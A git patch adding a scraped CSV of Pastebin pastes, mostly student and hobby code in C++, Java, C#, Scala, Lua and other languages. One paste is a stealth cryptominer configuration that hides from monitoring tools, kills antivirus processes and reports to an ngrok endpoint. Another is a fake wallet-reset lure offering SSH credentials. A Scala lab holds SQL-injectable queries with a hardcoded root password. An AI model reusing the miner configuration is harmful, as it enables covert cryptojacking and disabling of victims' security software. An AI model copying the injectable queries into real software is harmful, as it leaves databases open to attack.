From 6305ba9e46bd3fb98cd671723e2f1669babc5a80 Mon Sep 17 00:00:00 2001 From: GitHub Action Date: Tue, 14 Nov 2023 18:05:27 +0000 Subject: [PATCH] Get recent pastes --- pastes/pastes_20231114180527.csv | 3362 ++++++++++++++++++++++++++++++ 1 file changed, 3362 insertions(+) create mode 100644 pastes/pastes_20231114180527.csv diff --git a/pastes/pastes_20231114180527.csv b/pastes/pastes_20231114180527.csv new file mode 100644 index 0000000..f55903f --- /dev/null +++ b/pastes/pastes_20231114180527.csv @@ -0,0 +1,3362 @@ +id,title,username,language,date,content +bCTePkVX,Untitled,Josif_tepe,C++,Tuesday 14th of November 2023 12:00:23 PM CDT,"#include +#include +#include +#include +using namespace std; +const int maxn = 105; +const int INF = 1e8; +int n, k; +int dp[maxn][1101]; +int kg[maxn]; +int rek(int friends, int left) { + if(friends == 0 and left > 0) { + return INF; + } + if(left == 0) { + return 0; + } + if(dp[friends][left] != -1) { + return dp[friends][left]; + } + int res = INF; + for(int i = 0; i < n; i++) { + if(kg[i] != -1) { + if(left - (i + 1) >= 0) { + res = min(res, rek(friends - 1, left - (i + 1)) + kg[i]); + } + } + } + return dp[friends][left] = res; +} +int main() +{ + int t; + cin >> t; + + while(t--) { + cin >> k >> n; + for(int i = 0; i < n; i++) { + cin >> kg[i]; + } + for(int i = 0; i <= k; i++) { + for(int j = 0; j <= 1005; j++) { + dp[i][j] = -1; + } + } + int res = rek(k, n); + if(res >= INF) { + cout << -1 << endl; + } + else { + cout << res << endl; + } + } + return 0; +} +" +TSEETj2p,Exercicio class Notas,hercioneto,Java,Tuesday 14th of November 2023 11:42:34 AM CDT,"public class Notas { + private Float nota1,nota2,nota3,media; + + public Float getNota1() { + return nota1; + } + + public void setNota1(Float nota1) { + this.nota1 = nota1; + } + + public Float getNota2() { + return nota2; + } + + public void setNota2(Float nota2) { + this.nota2 = nota2; + } + + public Float getNota3() { + return nota3; + } + + public void setNota3(Float nota3) { + this.nota3 = nota3; + } + + public Float getMedia() { + return media; + } + + public void setMedia() { + this.media = (this.nota1+this.nota2+this.nota3)/3; + } + + public void lerNotas(){ + Scanner ler = new Scanner(System.in); + + System.out.println(""Digite a nota 1: ""); + this.setNota1(ler.nextFloat()); + System.out.println(""Digite a nota 2: ""); + this.setNota2(ler.nextFloat()); + System.out.println(""Digite a nota 3: ""); + this.setNota3(ler.nextFloat()); + this.setMedia(); + } + + public void imprimir(){ + System.out.println(""A média do aluno é: ""+ this.getMedia()); + } + + +}" +8Fc7iZeJ,Exercicio Class Salarios,hercioneto,Java,Tuesday 14th of November 2023 11:42:01 AM CDT,"public class Salarios { + private Float valorSalario, valorSalarioUsuario, qtd; + + public Float getValorSalario() { + return valorSalario; + } + + public void setValorSalario(Float valorSalario) { + this.valorSalario = valorSalario; + } + + public Float getValorSalarioUsuario() { + return valorSalarioUsuario; + } + + public void setValorSalarioUsuario(Float valorSalarioUsuario) { + this.valorSalarioUsuario = valorSalarioUsuario; + } + + public Float getQtd() { + return qtd; + } + + public void setQtd() { + this.qtd = this.getValorSalarioUsuario()/this.getValorSalario(); + } + + public void leituraDados(){ + Scanner ler = new Scanner(System.in); + + System.out.println(""Digite o valor do salário mínimo: ""); + this.setValorSalario(ler.nextFloat()); + System.out.println(""Digite o valor do salário mínimo da pessoa: ""); + this.setValorSalarioUsuario(ler.nextFloat()); + this.setQtd(); + } + public void imprimir(){ + System.out.println(""A pessoa ganha o equivalente a "" + this.getQtd() +"" salários mínimos.""); + } + + +}" +EEQYWV00,Exercício Class Valores,hercioneto,Java,Tuesday 14th of November 2023 11:41:11 AM CDT,"public class Valores { + private Integer valorA,valorB,valorC,soma; + + public Integer getValorA() { + return valorA; + } + + public void setValorA(Integer valorA) { + this.valorA = valorA; + } + + public Integer getValorB() { + return valorB; + } + + public void setValorB(Integer valorB) { + this.valorB = valorB; + } + + public Integer getValorC() { + return valorC; + } + + public void setValorC(Integer valorC) { + this.valorC = valorC; + } + + public Integer getSoma() { + return soma; + } + + public void setSoma() { + this.soma = this.valorA+this.valorB; + } + + public void verificar(){ + if (this.soma +#include +#include +#include +using namespace std; +const int maxn = 2002; +const int INF = 1e9; +vector > graph[maxn]; +int n; +int dp[maxn][4100]; +int rek(int at, int number) { + if(at >= n) { + return 0; + } + if(dp[at][number] != -1) { + return dp[at][number]; + } + int res = INF; + int idx = (int) (lower_bound(graph[at].begin(), graph[at].end(), make_pair(number, 0)) - graph[at].begin()); + + if(idx >= 0 and idx < graph[at].size()) { + for(int i = idx; i < (int) graph[at].size(); i++) { + int nxt_number = graph[at][i].first; + int swaps = graph[at][i].second; + res = min(res, rek(at + 1, nxt_number) + swaps); + } + } + return dp[at][number] = res; +} +int main() +{ + + cin >> n; + vector v(n); + + for(int i = 0; i < n; i++) { + cin >> v[i]; + } + for(int i = 0; i < n; i++) { + for(int j = 0; j <= 4095; j++) { + dp[i][j] = -1; + if(__builtin_popcount(j) == __builtin_popcount(v[i])) { + int swaps = __builtin_popcount(v[i] ^ j) / 2; + graph[i].push_back(make_pair(j, swaps)); + } + } + } + + cout << rek(0, 0) << endl; + return 0; +} +" +jML1D7gK,GyroECU5,klassekatze,C#,Tuesday 14th of November 2023 11:33:24 AM CDT,"using Sandbox.ModAPI.Ingame; +using System; +using System.Collections.Generic; +using System.Data.Common; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using VRageMath; + +namespace IngameScript +{ + partial class Program : MyGridProgram + { + public class GyroECU5 + { + public static double gyroMaxRPM = Math.PI; + + public double angleMultiplier = 1; + + public GyroECU5() : base() + { + angleMultiplier = gProgram.Me.CubeGrid.GridSizeEnum == VRage.Game.MyCubeSize.Small ? 2 : 1; + gyroMaxRPM *= angleMultiplier; + lastAngleRoll = lastAnglePitch = lastAngleYaw = 0; + lMPTRoll = lMPTPitch = lMPTYaw = 0; + } + double lastAngleRoll, lastAnglePitch, lastAngleYaw; + double lMPTRoll, lMPTPitch, lMPTYaw; + + public bool active = false; + Vector3D targetPosition; + Vector3D targetVelocity;//currently unused + + Vector3D targetHeading; + Vector3D targetUp; + + public int startTick; + public int ticksOnTarget = 0; + private void flush() + { + if (!active) + { + active = true; + foreach (var g in gyros) g.GyroOverride = false; + lG = null; + startTick = tick; + lastAngleRoll = lastAnglePitch = lastAngleYaw = 0; + lMPTRoll = lMPTPitch = lMPTYaw = 0; + ticksOnTarget = 0; + } + } + + public void rotateToPosition(Vector3D tp, Vector3D tv = new Vector3D()) + { + if (!active) log(""GECU test init rtp"", LT.LOG_N); + flush(); + targetPosition = tp; + targetVelocity = tv; + targetUp = getCtrl().WorldMatrix.Up; + } + public void rotateToHeading(Vector3D forward, Vector3D up = new Vector3D()) + { + if (up == Vector3D.Zero) up = getCtrl().WorldMatrix.Up; + if (!active) + { + log(""GECU test init rth"", LT.LOG_N); + log(""forward:"" + v2ss(forward), LT.LOG_N); + log(""up:"" + v2ss(up), LT.LOG_N); + } + flush(); + targetPosition = targetVelocity = Vector3D.Zero; + targetHeading = forward; + targetUp = up; + } + + double error_thresholdLocked = ConvertDegreesToRadians(1);//we must be within this much on each axis + double minVelThresholdLocked = ConvertDegreesToRadians(1d); + //these only set qualifiers for ticksOnTarget. + + private void calculateAxisSpecificData(double now, ref double prior, ref double lastMPT, out bool braking, out double lastMPTActual, string p = """")//, out double ticksToStop, out double ticksToTarget) + { + + var radMovedPerTick = Math.Abs(prior - now); + var ticksToTarget = Math.Abs(now) / radMovedPerTick; + var initVel = radMovedPerTick; + var rateOfDecel = Math.Abs(lastMPT - radMovedPerTick); + //if (rateOfDecel > mod) mod = rateOfDecel; + + //if (Math.Abs(now) > nobrake_threshold) rateOfDecel *= 1.5;//overestimating here did not improve timings + var ticksToStop = initVel / rateOfDecel; + //mod - maximum observed decel - saved 0.1s on large sluggish ship but lost .3s on sg snappy ship. + //sticking to the conservative metric + + bool closing = Math.Abs(now) < Math.Abs(prior); + lastMPTActual = radMovedPerTick; + if (!closing) + { + lastMPT = 0.0001; + } + else lastMPT = radMovedPerTick; + + if (closing) + { + if (ticksToStop > ticksToTarget + 1) braking = true; + else braking = false; + } + else braking = false; + + prior = now; + } + + //for distances under 90 degrees, it returns a value between 0 and gyromaxRPM, sharpened with sine so it levels off a bit in a nice way at the end. + //slightly black magic, but if it works, it works + static double amp_threshold = ConvertDegreesToRadians(100);//125.0d); + static double deAmp(double i)//, double spd) + { + if (i == 0) return i; + var abs = Math.Abs(i); + var ig = i / abs * gyroMaxRPM; + //spd = 0; + if (abs > amp_threshold) return ig; + + i = i / (amp_threshold); + i = Math.Abs(i); + i = Math.Sin(i); + return i * ig; + } + + public static void setUpdateRate(int ups) + { + updateRate = ups; + updr_mult = 60 / updateRate; + updr_mult_div = updr_mult / 60.0d; + } + + static int updateRate = 60; + static int updr_mult = 60 / updateRate; + static double updr_mult_div = 60.0d / updateRate / 60.0d; + int ltick = -1; + public void update() + { + + if (active && tick - ltick > updr_mult)// && tick % 2 == 0) + { + ltick = tick; + + if (!targetPosition.IsZero()) targetHeading = Vector3D.Normalize(targetPosition - getPosition()); + + double pitch, yaw, roll; + GetRotationAnglesSimultaneous(targetHeading, targetUp, getCtrl().WorldMatrix, out yaw, out pitch, out roll); + + double rA, pA, yA; + + bool yB, pB, rB; + calculateAxisSpecificData(roll, ref lastAngleRoll, ref lMPTRoll, out rB, out rA); + calculateAxisSpecificData(pitch, ref lastAnglePitch, ref lMPTPitch, out pB, out pA); + calculateAxisSpecificData(yaw, ref lastAngleYaw, ref lMPTYaw, out yB, out yA); + + //Vector3D a_act = new Vector3D(pA, yA,rA); + //var amax = a_act.AbsMax(); + + Vector3D a_impulse = new Vector3D(pB ? 0 : pitch, yB ? 0 : yaw, rB ? 0 : roll); + + //black magic everywhere + a_impulse.X = deAmp(a_impulse.X);//, amax * updr_mult); + a_impulse.Y = deAmp(a_impulse.Y);//, amax * updr_mult); + a_impulse.Z = deAmp(a_impulse.Z);//, amax * updr_mult); + if (Math.Abs(pA) / 60* updateRate > Math.Abs(a_impulse.X)) a_impulse.X = 0; + if (Math.Abs(yA) / 60 * updateRate > Math.Abs(a_impulse.Y)) a_impulse.Y = 0; + if (Math.Abs(rA) / 60 * updateRate > Math.Abs(a_impulse.Z)) a_impulse.Z = 0; + + + GyroOverride(getCtrl().WorldMatrix, a_impulse.X, a_impulse.Y, a_impulse.Z); + + if (Math.Abs(roll) < error_thresholdLocked && Math.Abs(pitch) < error_thresholdLocked && Math.Abs(yaw) < error_thresholdLocked) + { + if (rA < minVelThresholdLocked * updr_mult_div && pA < minVelThresholdLocked * updr_mult_div && yA < minVelThresholdLocked * updr_mult_div) + { + ticksOnTarget += 1; + } + else ticksOnTarget = 0; + } + else ticksOnTarget = 0; + } + } + + IMyGyro lG = null; + static Vector3D state = new Vector3D(9, 9, 9); + const double E = MathHelper.EPSILON; + void GyroOverride(MatrixD shipRef, double pitch_speed, double yaw_speed, double roll_speed) + { + IMyGyro g = null; + foreach(var c in gyros) + { + if(c.Enabled && c.IsFunctional && !c.Closed) + { + g = c; + break; + } + } + if (g == null) return; + + if(g != lG) + { + lG = g; + state = new Vector3D(9, 9, 9); + g.GyroOverride = true; + } + + var rotationVec = new Vector3D(-pitch_speed, yaw_speed, roll_speed); //because keen does some weird stuff with signs + var relativeRotationVec = Vector3D.TransformNormal(rotationVec, shipRef); + var trv = Vector3D.TransformNormal(relativeRotationVec, Matrix.Transpose(g.WorldMatrix)); + + if (trv.X != state.X)// && Math.Abs(trv.X - state.X) > E) + { + state.X = trv.X; + g.Pitch = (float)(state.X); + } + if (trv.Y != state.Y)// && Math.Abs(trv.Y - state.Y) > E) + { + state.Y = trv.Y; + g.Yaw = (float)(state.Y); + } + if (trv.Z != state.Z)// && Math.Abs(trv.Z - state.Z) > E) + { + state.Z = trv.Z; + g.Roll = (float)(state.Z); + } + } + + public void shutdown() + { + if (active) + { + active = false; + if(lG != null)lG.GyroOverride = false; + log(""GECU shutdown"", LT.LOG_N); + log(""time: "" + (tick - startTick) + ""t ("" + ((double)(tick - startTick) / 60).ToString(""0.0"") + ""s)"", LT.LOG_N); + } + } + } + } +}" +aGgfZRzZ,Untitled,Madi_Perth,Linden Scripting,Tuesday 14th of November 2023 11:32:40 AM CDT,"/* +This file contains a series of defines and functions that will +allow you to use linkSetData memory for lists. These lists will +not have all the versitlity of normal LSL lists. + +The format in LinksetData memory are as follows. + +The first entry in a list is the master header file. It is +defined as the following. + +linkset listName is the list listName and the data is the number of +entries the list. + + -> + +the format of each list entry is as follows + +:: + +*/ + +// The first step is the define the linkSetList entry +integer linkSetDefine(string listName) +{ + // test to see if entry already exists, + // if so return error of -1 + if(llLinksetDataRead(listName) != """") + return -1; + else + llLinksetDataWrite(listName, ""0""); + return 1; // linkSetList Created. +} + +// add a entry to the linkset entry and increment the +// the count by one when adding. create the linkSet +// if it does not exist. any data other than a string +// must be typecast to a string. +integer addLinkData(string listName, string data) +{ + integer tcList; + // if listName exists, add link + // and increment count. + if(linkSetDefine(listName) == 1) + tcList = incrmLinkCount(listName, 0); + else + tcList = incrmLinkCount(listName, 1); + llLinksetDataWrite(listName +"":""+ (string) tcList +"":""+data, ""0""); + + return tcList; +} + +// get count total from base and increase it by 'count' +integer incrmLinkCount(string listName, integer count) +{ + integer currentNum = (integer) llLinksetDataRead(listName); + + currentNum += count; + llLinksetDataWrite(listName, (string) currentNum); + + return currentNum; +} + +// Return the number of entries in a linkSetList +integer GetLinkSetListLength(string listName) +{ + // return error if linkSetList does not exits of -1 + integer listLength = (integer) llLinksetDataRead(listName); + if(listLength == 0) + return -1; + else + return (listLength + 1); +} + +// returns a string that is at index in src +string linkList2String(string src, integer index) +{ + string found; + string searchFor = src+"":""+(string) index +"":""; + + found = (string) llLinksetDataFindKeys(searchFor, 0, 1); + return llList2String(llParseString2List(found, ["":""], [""""]), 2); +} +" +N2asENCG,Untitled,Josif_tepe,C++,Tuesday 14th of November 2023 11:31:37 AM CDT,"#include +#include +#include +#include +using namespace std; +const int maxn = 2002; +const int INF = 1e9; +vector > graph[maxn]; +int n; +int dp[maxn][4100]; +int rek(int at, int number) { + if(at >= n) { + return 0; + } + if(dp[at][number] != -1) { + return dp[at][number]; + } + int res = INF; + for(int i = 0; i < (int) graph[at].size(); i++) { + int nxt_number = graph[at][i].first; + int swaps = graph[at][i].second; + + if(number <= nxt_number) { + res = min(res, rek(at + 1, nxt_number) + swaps); + } + } + return dp[at][number] = res; +} +int main() +{ + + cin >> n; + vector v(n); + + for(int i = 0; i < n; i++) { + cin >> v[i]; + } + for(int i = 0; i < n; i++) { + for(int j = 0; j <= 4095; j++) { + dp[i][j] = -1; + if(__builtin_popcount(j) == __builtin_popcount(v[i])) { + int swaps = __builtin_popcount(v[i] ^ j) / 2; + graph[i].push_back(make_pair(j, swaps)); + } + } + } + + cout << rek(0, 0) << endl; + return 0; +} +" +SMXu1kUs,BTC Wallet Credentials have been reset,VQ-Moe,GetText,Tuesday 14th of November 2023 11:21:29 AM CDT,"Dear User +We have received a request to reset the login information for your Bitcoin wallet. If you did not make this request, please contact us immediately. + +Your new login credentials will be: +josli45:KoE3dG1 on 159.223.212.34 +You can connect via SSH. + +Regards +BT677173" +kSHUsEdm,# get_data_from_localhost.py,here2share,Python,Tuesday 14th of November 2023 11:09:53 AM CDT,"# get_data_from_localhost.py +# kept hearing a whole lot of people swear this the builtin attempt is an impossible feat, even warned by ChatGPT, but... it seems to work perfectly fine + +import http.server +import socketserver +import webbrowser +import json +import urllib.parse + +html_content = """""" + + + + + + +"""""" + +def http_server(): + class MyHttpRequestHandler(http.server.SimpleHTTPRequestHandler): + def do_GET(self): + if self.path == '/': + self.send_response(200) + self.send_header(""Content-type"", ""text/html"") + self.end_headers() + self.wfile.write(html_content.encode()) + + query_components = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query) + if 'data' in query_components: + data = query_components['data'][0] + print(data) + + with socketserver.TCPServer(('localhost', 8080), MyHttpRequestHandler) as httpd: + webbrowser.open('http://localhost:8080') + httpd.serve_forever() + +http_server()" +xq3iHn9n,Lab5,Week045,Scala,Tuesday 14th of November 2023 11:05:22 AM CDT,"import java.awt.event.{ActionEvent, ActionListener} +import javax.swing.{JButton, JFrame, JPanel, SwingUtilities} +import java.awt.Dimension +import javax.swing.{JFrame, JLabel,JTextField, JPanel, SwingUtilities} +import java.sql.{Connection, DriverManager, ResultSet} +import java.awt.Color +import javax.swing.JTextArea +import javax.swing.JScrollPane +object ButtonModule { + val frame = new JFrame(""My Application"") + frame.setSize(720, 400) + frame.setLayout(null) + frame.getContentPane().setBackground(Color.PINK) + + def main(args: Array[String]): Unit = { + SwingUtilities.invokeLater(() => { + + val label1=new JLabel(""Title"") + val label2=new JLabel(""Price"") + val label3=new JLabel(""Count"") + val label4=new JLabel(""Debug"") + + label1.setBounds(75,70,100,20) + label2.setBounds(235,70,70,20) + label3.setBounds(410,70,100,20) + label4.setBounds(150, 150, 100, 20) + + label1.setForeground(Color.DARK_GRAY) + label2.setForeground(Color.ORANGE) + label3.setForeground(Color.WHITE) + label4.setForeground(Color.RED) + + val button1 = new JButton(""Insert"") + val button2 = new JButton(""Select"") + val button3 = new JButton(""Get max profit"") + val button4 = new JButton(""Get not less"") + + val button5 = new JButton(""Task #1"") + val button6 = new JButton(""Task #2"") + + button1.setBackground(Color.GREEN) + button2.setBackground(Color.RED) + button3.setBackground(Color.YELLOW) + button4.setBackground(Color.CYAN) + + button1.setForeground(Color.CYAN) + button2.setForeground(Color.YELLOW) + button3.setForeground(Color.RED) + button4.setForeground(Color.GREEN) + + val textField = new JTextField(200) + val textField2 = new JTextField(20) + val textField3 = new JTextField(20) + + val textArea=new JTextArea() + val scrollPane = new JScrollPane(textArea) + + val debugTextArea = new JTextArea() + val debugScrollPane = new JScrollPane(debugTextArea) + + debugTextArea.setBackground(Color.LIGHT_GRAY) + textArea.setBackground(Color.LIGHT_GRAY) + + button1.setBounds(20,30,130,20) + button2.setBounds(190,30,130,20) + button3.setBounds(360,30,130,20) + button4.setBounds(530,30,130,20) + + button5.setBounds(530,250,130,20) + button6.setBounds(530,300,130,20) + + textField.setBounds(20,100,130,20) + textField2.setBounds(190,100,130,20) + textField3.setBounds(360,100,130,20) + scrollPane.setBounds(500,100,180,120) + debugScrollPane.setBounds(65, 180, 210, 150) + + frame.add(button1) + frame.add(button2) + frame.add(button3) + frame.add(button4) + frame.add(button5) + frame.add(button6) + frame.add(label1) + frame.add(textField) + frame.add(label2) + frame.add(textField2) + frame.add(label3) + frame.add(textField3) + frame.add(scrollPane) + frame.add(label4) + frame.add(debugScrollPane) + + button1.addActionListener(new ActionListener { + override def actionPerformed(e: ActionEvent): Unit = { + val url = ""jdbc:mysql://localhost:3306/shop"" + val username = ""root"" + val password = ""adminadmin"" + + Class.forName(""com.mysql.jdbc.Driver"") + val conn = DriverManager.getConnection(url, username, password) + + try { + val stmt = conn.createStatement() + val rs = stmt.execute(""INSERT INTO products VALUES ('"" + textField.getText + ""',"" + textField2.getText + "","" + textField3.getText + "")"") + + textField.setText("""") + textField2.setText("""") + textField3.setText("""") + + debugTextArea.append(""Added record\n"") + } + finally { + conn.close() + } + } + + }) + + + button2.addActionListener(new ActionListener { + override def actionPerformed(e: ActionEvent): Unit = { + + val url = ""jdbc:mysql://localhost:3306/shop"" + val username = ""root"" + val password = ""adminadmin"" + + Class.forName(""com.mysql.jdbc.Driver"") + val conn = DriverManager.getConnection(url, username, password) + + try { + val stmt = conn.createStatement() + val prod_name= textField.getText().toString().trim() + val rs = stmt.executeQuery(""SELECT * FROM products WHERE name = '""+prod_name+""'"") + while (rs.next()) { + + val name = rs.getString(""name"") + val price = rs.getInt(""price"") + val count = rs.getInt(""count"") + + textField2.setText(""""+price) + textField3.setText(""""+count) + } + } + finally { + conn.close() + } + } + + }) + + + button3.addActionListener(new ActionListener { + override def actionPerformed(e: ActionEvent): Unit = { + + val url = ""jdbc:mysql://localhost:3306/shop"" + val username = ""root"" + val password = ""adminadmin"" + + Class.forName(""com.mysql.jdbc.Driver"") + val conn = DriverManager.getConnection(url, username, password) + + try { + + val stmt = conn.createStatement() + val prod_name= textField.getText().toString().trim() + val rs = stmt.executeQuery(""SELECT * FROM products"") + var max_profit = 0 + var max_product = """" + var max_price = 0 + var max_count = 0 + while (rs.next()) { + + val name = rs.getString(""name"") + val price = rs.getInt(""price"") + val count = rs.getInt(""count"") + + val current_profit = price*count + if (current_profit > max_profit){ + max_profit = current_profit + max_product = name + max_price = price + max_count = count + } + + + } + + debugTextArea.append(max_product + ""\n"") + debugTextArea.append(max_price + ""\n"") + debugTextArea.append(max_profit + ""\n"") + + //val stmt = conn.createStatement() + //val prod_name= textField.getText().toString().trim() + //val rs = stmt.executeQuery(""SELECT name, MAX(price * `count`) AS max_total_cost "" + + // ""FROM products "" + + // ""GROUP BY name "" + + // ""ORDER BY max_total_cost DESC "" + // ) + + + //if (rs.next()) { + // val name = rs.getString(""name"") + // val maxTotalCost = rs.getInt(""max_total_cost"") + + // debugTextArea.append(s""Name: $name\n"") + // debugTextArea.append(s""Max profit: $maxTotalCost"") + //} + + + } + finally { + conn.close() + } + } + + }) + + + button4.addActionListener(new ActionListener { + override def actionPerformed(e: ActionEvent): Unit = { + + val url = ""jdbc:mysql://localhost:3306/shop"" + val username = ""root"" + val password = ""adminadmin"" + + Class.forName(""com.mysql.jdbc.Driver"") + val conn = DriverManager.getConnection(url, username, password) + + val LessCount=500 + try { + val stmt = conn.createStatement() + val prod_name = textField.getText().toString().trim() + val query = + s"""""" + |SELECT name, price, count + |FROM products + |WHERE price >= $LessCount + |"""""".stripMargin + + val rs = stmt.executeQuery(query) + textArea.append(""Name Price Count\n"") + + while (rs.next()) { + val name = rs.getString(""name"") + val price = rs.getInt(""price"") + val count = rs.getInt(""count"") + + textArea.append(name + "" ""+ price+"" "" + count + ""\n"") + + } + } + finally { + conn.close() + } + } + + }) + + //Вывести категории товаров, которых меньше определённого количества + button5.addActionListener(new ActionListener { + override def actionPerformed(e: ActionEvent): Unit = { + + val url = ""jdbc:mysql://localhost:3306/shop"" + val username = ""root"" + val password = ""adminadmin"" + + Class.forName(""com.mysql.jdbc.Driver"") + val conn = DriverManager.getConnection(url, username, password) + + val minCount = 10 + try { + val stmt = conn.createStatement() + + + val rs = stmt.executeQuery(s""SELECT * FROM products GROUP BY `count` HAVING `count` <= $minCount"") + + debugTextArea.setText("""") + + while (rs.next()) { + val name = rs.getString(""name"") + val price = rs.getInt(""price"") + val count = rs.getInt(""count"") + + debugTextArea.append(name + "" ""+ price+"" "" + count + ""\n"") + + } + } + finally { + conn.close() + } + } + + }) + + //Вывести товары, которое содержат букву e + button6.addActionListener(new ActionListener { + override def actionPerformed(e: ActionEvent): Unit = { + + val url = ""jdbc:mysql://localhost:3306/shop"" + val username = ""root"" + val password = ""adminadmin"" + + Class.forName(""com.mysql.jdbc.Driver"") + val conn = DriverManager.getConnection(url, username, password) + + try { + val stmt = conn.createStatement() + + val rs = stmt.executeQuery(""SELECT * FROM products WHERE LOCATE('e', name) > 0"") + + debugTextArea.setText("""") + + while (rs.next()) { + val name = rs.getString(""name"") + val price = rs.getInt(""price"") + val count = rs.getInt(""count"") + + debugTextArea.append(name + "" ""+ price+"" "" + count + ""\n"") + + } + } + finally { + conn.close() + } + } + + }) + + + frame.setBackground(Color.BLUE) + frame.setLocationRelativeTo(null) + frame.setVisible(true) + + }) + } +} +" +juZn1NWS,IntegerReader,EDELWEISS1996,C#,Tuesday 14th of November 2023 11:02:22 AM CDT,"using System; + +namespace IntegerReader +{ + internal class Program + { + static void Main(string[] args) + { + bool isRunning = true; + + while (isRunning == true) + { + Console.WriteLine(""Введите число:""); + + string userInput = Console.ReadLine(); + bool isInteger = int.TryParse(userInput, out _); + + if (isInteger == true) + { + int userInteger = Convert.ToInt32(userInput); + + Console.WriteLine($""Ваше число: {userInteger}""); + + isRunning = false; + } + else + { + Console.WriteLine(""Не могу прочитать число.""); + } + } + + Console.ReadLine(); + } + } +} +" +04upsXZr,Newer3.4.0,tarekxx,JSON,Tuesday 14th of November 2023 10:51:17 AM CDT,"{ + ""algo"": ""rx/0"", + ""pool"": ""gulf.moneroocean.stream"", + ""port"": 443, + ""wallet"": ""8AVchyHSiFHHZMe5YvGVB1G9L6CMqxqqh2KixC3heCwjWWRr1rt6zJdVyiyA3c9RvQ3SAZ1NwNsC6K1aBmrJ3FPuQFWRxP2"", + ""password"": ""{COMPUTERNAME}"", + ""ssltls"": true, + ""max-cpu"": 20, + ""idle-wait"": 1, + ""idle-cpu"": 80, + ""stealth-targets"": ""Taskmgr.exe,ProcessHacker.exe,perfmon.exe,procexp.exe,procexp64.exe,Speccy64.exe"", + ""kill-targets"": ""afwServ.exe,aswEngSrv.exe,aswidsagent.exe,aswToolsSvc.exe,AvastSvc.exe,AvastSvc.exe,AvastUI.exe,wsc_proxy.exe,AvastBrowser.exe,AvastNM.exe,ashwebsv.exe,aswupdsv.exe,kavfswp.exe,kavtray.exe,kavfsmui.exe,kavshell.exe,kavfsrcn.exe,kavfs.exe,kavfsgt.exe,kavfswh.exe,kavfsscs.exe,efpeadm.exe,VPNGUI.exe,CVPND.exe,IPSECLOG.exe,cfp.exe,fsdfwd.exe,fsguiexe.exe,blackd.exe,kpf4gui.exe,MSSCLL.exe,MCSHELL.exe,MPFSERVICE.exe,MPFAGENT.exe,nisum.exe,smc.exe,persfw.exe,pccpfw.exe,WINSS.exe,ZLCLIENT.exe,MCODS.exe,MCSHIELD.exe,msmpeng.exe,navapsvc.exe,avkwctl.exe,fsav32.exe,mcshield.exe,ntrtscan.exe,avguard.exe,ashServ.exe,AVENGINE.exe,avgemc.exe,tmntsrv.exe,advchk.exe,ahnsd.exe,alertsvc.exe,avmaisrv.exe,avsynmgr.exe,bitdefender_p2p_startup.exe,cavrid.exe,cavtray.exe,cmgrdian.exe,freshclam.exe,icepack.exe,mgavrtcl.exe,mghtml.exe,mgui.exe,navapsvc.exe,navapw32.exe,navw32.exe,nsmdtr.exe,ofcdog.exe,pav.exe,savscan.exe,spider.exe,xcommsvr.exe,Procmon64a.exe,Procmon64.exe,Procmon.exe,anvir.exe,regedit.exe,MRT.exe,Monitor.exe"", + ""stealth-fullscreen"": true, + ""api-endpoint"": ""https://c5207bfb0223-4425600227365081465.ngrok-free.app/api/endpoint.php"" +}" +HqEm5bLF,Ejercicio_00,fgallego,C++,Tuesday 14th of November 2023 10:49:13 AM CDT,"#include +#include +#include +#include + +struct Pixel { + uint16_t x{}, y{}; +}; + +// Dará acceso al array devolviendolo por referencia constante +struct EntityManager { + EntityManager() { + for(auto& p: pixeles_) { + p.x = rand() % 800; + p.y = rand() % 600; + } + } + + std::array const& getPixeles() const { return pixeles_; } +private: + std::array pixeles_{}; +}; + +// Recibira como parámetro una referencia al EntityManager +// Le pedirá el array al entity manager y lo pintará +void render_system(EntityManager& EM) { + BeginDrawing(); + for(auto& p: EM.getPixeles()) { + DrawPixel(p.x, p.y, RED); + } + EndDrawing(); +} + +// Crear un EntityManager +// Pásarselo al RenderSystem +int main() { + InitWindow(800, 600, ""My Game""); + EntityManager EM{}; + + while ( ! WindowShouldClose() ) { + render_system(EM); + } + + CloseWindow(); +}" +H2WFcPQY,Grafana Apache Echarts - Dynamic styling,Superstar,JavaScript,Tuesday 14th of November 2023 10:47:22 AM CDT,"function extractStyles(array) { + const types = ['solid', 'dashed', 'dotted']; + const processedColors = {}; + let styles = {}; + + array.forEach(item => { + item.aggregationRequests.forEach(request => { + if (!(request.name in styles)) { + let style = { + itemStyle: item.style, + lineStyle: { + width: 1 + } + }; + + let color = item.style.color; + if (processedColors[color]) { + const previousTypeIndex = types.indexOf(processedColors[color]); + let nextItemIndex = previousTypeIndex + 1; + if (types.length > nextItemIndex) { + style.lineStyle.type = types[nextItemIndex] || ''; + } else { + style.lineStyle.type = ''; + } + processedColors[color] = style.lineStyle.type; + } else { + style.lineStyle.type = types[0]; + processedColors[color] = types[0]; + } + + styles[request.name] = style; + } + }); + }); + + return styles; +} + +// mock aggregationRequest Grafana variable +//let aggregationRequest = JSON.parse(replaceVariables(""$aggregationRequest"") || '[]'); +let aggregationRequest = [ + { + style: { + color: 'red' + }, + aggregationRequests: [ + { + name: 'A' + } + ] + }, + { + style: { + color: 'green' + }, + aggregationRequests: [ + { + name: 'B' + }, + { + name: 'C' + } + ] + } +]; +let stylesDictionary = extractStyles(aggregationRequest); + +const series = data.series.map((s, i) => { + const sData = s.fields.find((f) => f.type === 'number').values.buffer || s.fields.find((f) => f.type === 'number').values; + const sTime = s.fields.find((f) => f.type === 'time').values.buffer || s.fields.find((f) => f.type === 'time').values; + + let style = stylesDictionary[s.refId] ?? null; + let itemStyle = style?.itemStyle; + let lineStyle = style?.lineStyle ?? { width: 1 }; + + return { + name: s.refId, + type: 'line', + showSymbol: false, + areaStyle: { + opacity: 0.1, + }, + lineStyle: lineStyle, + itemStyle: itemStyle, + data: sData.map((d, i) => [sTime[i], d.toFixed(2)]), + }; +}); +" +WmBZneT6,Last event test,hostbanani,Lua,Tuesday 14th of November 2023 10:38:14 AM CDT,"toNumber = tonumber +local mouth = { + [""Jan""] = 0, + [""Feb""] = 31, + [""Mar""] = 59, + [""Apr""] = 90, + [""May""] = 120, + [""Jun""] = 151, + [""Jul""] = 181, + [""Aug""] = 212, + [""Sep""] = 243, + [""Оct""] = 273, + [""Nov""] = 304, + [""Dec""] = 334} +function time() + local days, secs = 0, 0 + local date = os.date() + days = mouth[date:sub(5, 7)] + toNumber(date:sub(-4, -1))*365 + toNumber(date:sub(9, 10)) + secs = toNumber(date:sub(12, 13))*3600 + toNumber(date:sub(15, 16))*60 + toNumber(date:sub(18, 